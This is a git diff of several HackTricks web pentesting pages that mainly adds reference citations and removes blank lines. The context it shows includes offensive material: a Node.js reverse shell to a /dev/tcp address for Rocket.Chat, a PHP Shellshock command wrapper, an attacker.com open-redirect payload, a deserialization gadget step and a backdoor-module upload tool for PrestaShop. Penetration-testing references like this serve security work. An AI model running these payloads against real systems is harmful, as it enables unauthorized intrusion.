../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md index 0216ffc197c..42495f2b0cc 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md @@ -136,6 +136,3 @@ echo "[-] Write failed. Exiting\n"; - [1] [beched/php_disable_functions_bypass - procfs-based PHP sandbox bypass](https://github.com/beched/php_disable_functions_bypass) {{#include ../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md index 545ac259de6..26bc5ce34b6 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md @@ -2,6 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} +From [https://www.exploit-db.com/exploits/4517](https://www.exploit-db.com/exploits/4517)[[1]](#references) ```php ``` -{{#include ../../../../banners/hacktricks-training.md}} - +## References +- [1] [PHP 5.2.4 ionCube - 'ioncube_read_file' Safe Mode / disable_functions Bypass (Exploit-DB)](https://www.exploit-db.com/exploits/4517) +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md index a7b47f4f636..222ce729868 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md @@ -34,6 +34,3 @@ echo shellshock($_REQUEST["cmd"]); - [1] [PHP disable_functions bypass via CVE-2014-6271 Shellshock (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) {{#include ../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/prestashop.md b/src/network-services-pentesting/pentesting-web/prestashop.md index 3b51771161f..0b0fe58b29d 100644 --- a/src/network-services-pentesting/pentesting-web/prestashop.md +++ b/src/network-services-pentesting/pentesting-web/prestashop.md @@ -4,7 +4,7 @@ ## From XSS to RCE -- [**PrestaXSRF**](https://github.com/nowak0x01/PrestaXSRF): PrestaShop Exploitation Script that elevate **XSS to RCE or Others Critical Vulnerabilities.** For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for PrestaShop Versions 8.X.X and 1.7.X.X, and allows to:** +- [**PrestaXSRF**](https://github.com/nowak0x01/PrestaXSRF): PrestaShop Exploitation Script that elevate **XSS to RCE or Others Critical Vulnerabilities.** For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for PrestaShop Versions 8.X.X and 1.7.X.X, and allows to:**[[3]](#references) - _**(RCE) PSUploadModule(); - Upload a custom Module:**_ Upload a Persistent Module (backdoor) to PrestaShop.[[3]](#references) ## ps_checkout ExpressCheckout silent login account takeover (CVE-2025-61922) @@ -34,7 +34,7 @@ Content-Length: 72 ## References - [1] [CVE-2025-61922: Zero-Click Account Takeover on Prestashop (blog)](https://dhakal-ananda.com.np/blogs/cve-2025-61922-analysis/) -- [2] [GitHub Advisory GHSA-54hq-mf6h-48xh](https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-54hq-mf6h-48xh) +- [2] [GitHub Security Advisory GHSA-54hq-mf6h-48xh: ps_checkout ExpressCheckout authentication bypass](https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-54hq-mf6h-48xh) - [3] [Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index ae8a64fb82b..f60358ce454 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -154,4 +154,3 @@ Similar delivery can use **`.library-ms`** files that point to external UNC/WebD - [4] [Stealth Falcon's Exploit of Microsoft Zero Day Vulnerability - Check Point Research](https://research.checkpoint.com/2025/stealth-falcon-zero-day/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/network-services-pentesting/pentesting-web/python.md b/src/network-services-pentesting/pentesting-web/python.md index bb1996d6577..5a8930b1896 100644 --- a/src/network-services-pentesting/pentesting-web/python.md +++ b/src/network-services-pentesting/pentesting-web/python.md @@ -12,21 +12,16 @@ test a possible **code execution**, using the function _str()_: ### Tricks - {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md {{#endref}} - {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}} - {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index fccd6b33b81..c26e8eb1639 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## RCE If you are admin inside Rocket Chat you can get RCE. @@ -12,7 +11,7 @@ If you are admin inside Rocket Chat you can get RCE.
-- According to the [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), both use ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) to process the data. So lets get a [rev shell for javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) like: +- According to the [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), both use ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) to process the data. So lets get a [rev shell for javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) like:[[1]](#references)[[2]](#references) ```javascript const require = console.log.constructor("return process.mainModule.require")() @@ -35,8 +34,9 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") - Call it with curl and you shuold receive the rev shell +## References -{{#include ../../banners/hacktricks-training.md}} - - +- [1] [Rocket.Chat - Admin panel integrations](https://docs.rocket.chat/guides/administration/admin-panel/integrations) +- [2] [codeburst.io - JavaScript WTF is ES6 ES8 ES 2017 ECMAScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/roundcube.md b/src/network-services-pentesting/pentesting-web/roundcube.md index 9711aa62149..09b6ca119dd 100644 --- a/src/network-services-pentesting/pentesting-web/roundcube.md +++ b/src/network-services-pentesting/pentesting-web/roundcube.md @@ -113,4 +113,4 @@ Operational use - [5] [Roundcube bin/decrypt.sh helper](https://raw.githubusercontent.com/roundcube/roundcubemail/master/bin/decrypt.sh) - [6] [HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)](https://0xdf.gitlab.io/2025/11/15/htb-outbound.html) -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index edbe91e8177..964606add35 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -58,7 +58,7 @@ PY ## REXML XML parser ReDoS (CVE-2024-49761) -The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `�x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion. +The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `�x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.[[15]](#references) Minimal trigger against a Rails endpoint that parses XML: ```bash @@ -77,7 +77,7 @@ Both issues are fixed in `cgi` 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a mas ## Basecamp `googlesign_in` open redirect / cookie flash leak (CVE-2025-57821) -The `googlesign_in` gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the `proceedto` parameter. A malformed URL like `proceedto=//attacker.com/%2F..` bypasses the check and redirects the user off-site while preserving Rails flash/session cookies. +The `googlesign_in` gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the `proceedto` parameter. A malformed URL like `proceedto=//attacker.com/%2F..` bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.[[16]](#references) Exploit flow: 1. Victim clicks crafted Google Sign-In link hosted by attacker. @@ -353,5 +353,7 @@ URL-encoded PoC (first char is a newline): - [12] [GitHub Advisory: Possible Log Injection in Rack::CommonLogger (CVE-2025-25184)](https://github.com/advisories/GHSA-7g2v-jj9q-g3rg) - [13] [Rails GlobalID README (Signed Global IDs, purpose, expiry)](https://github.com/rails/globalid) - [14] [OffSec Blog: CVE-2024-46986 – Arbitrary File Write in Camaleon CMS Leading to RCE](https://www.offsec.com/blog/cve-2024-46986/) +- [15] [Ruby Lang – ReDoS in REXML (CVE-2024-49761)](https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761) +- [16] [GitHub Security Advisory – Basecamp google_sign_in Open Redirect (CVE-2025-57821)](https://github.com/basecamp/google_sign_in/security/advisories/GHSA-7pwc-wh6m-44q3) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/servicenow.md b/src/network-services-pentesting/pentesting-web/servicenow.md index b7658692cd4..aa76c4c48f6 100644 --- a/src/network-services-pentesting/pentesting-web/servicenow.md +++ b/src/network-services-pentesting/pentesting-web/servicenow.md @@ -105,7 +105,7 @@ Useful behaviors: ## Detection / validation notes -From a defender or purple-team perspective, review logs for: +From a defender or purple-team perspective, review logs for:[[1]](#references) - Anonymous requests to `/api/now/sp/widget/*` - Anonymous requests to `/api/now/table/*` diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md index 23e601b413b..84a40445ef1 100644 --- a/src/network-services-pentesting/pentesting-web/sitecore/README.md +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -187,7 +187,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute. +Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.[[1]](#references) {{#ref}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 14533e1277b..626d0ab36e2 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -219,7 +219,7 @@ el.innerHTML = escaped // Results in safe assignment. ### **X-Content-Type-Options** -This header prevents MIME type sniffing, a practice that could lead to XSS vulnerabilities. It ensures that browsers respect the MIME types specified by the server. +This header prevents MIME type sniffing, a practice that could lead to XSS vulnerabilities. It ensures that browsers respect the MIME types specified by the server.[[3]](#references) ``` X-Content-Type-Options: nosniff @@ -227,7 +227,7 @@ X-Content-Type-Options: nosniff ### **X-Frame-Options** -To combat clickjacking, this header restricts how documents can be embedded in ``, `